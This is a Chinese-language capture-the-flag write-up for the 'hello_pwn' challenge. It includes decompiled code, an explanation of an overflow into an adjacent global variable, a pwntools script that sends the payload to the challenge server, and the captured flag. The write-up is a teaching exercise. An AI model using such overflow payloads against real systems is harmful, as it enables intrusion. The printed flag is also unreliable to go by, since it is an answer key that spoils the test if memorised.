题目
二进制文件:hello_pwn
环境:220.249.52.133:41097
分析与求解
checksec hello_pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
用IDA64打开。
2. 反编译后查看main函数,基本逻辑是read
进来用户输入的数据放到unk_601068,然后判断dword_60106C是否等于1853186401,若等于,则调用sub_400686函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686(0LL, &unk_601068);
return 0LL;
}
- 查看sub_400686函数,因此只要执行sub_400686就可以
cat flag.txt
__int64 sub_400686()
{
system("cat flag.txt");
return 0LL;
}
- 点击unk_601068或者dword_60106C可以查看对应栈信息
这意味,只要先将0x601068~0x60106B这四个字节用任意数据填充掉,再跟上1853186401的二进制数就可以覆盖dword_60106C部分的值,使得sub_400686被调用。 - 利用pwntools获取flag
from pwn import *
p = remote('220.249.52.133', 41097)
payload = 'a'*4 + p64(1853186401)
p.send(payload)
p.interactive()
cyberpeace{09ed13883f73354381a4086c516d64bf}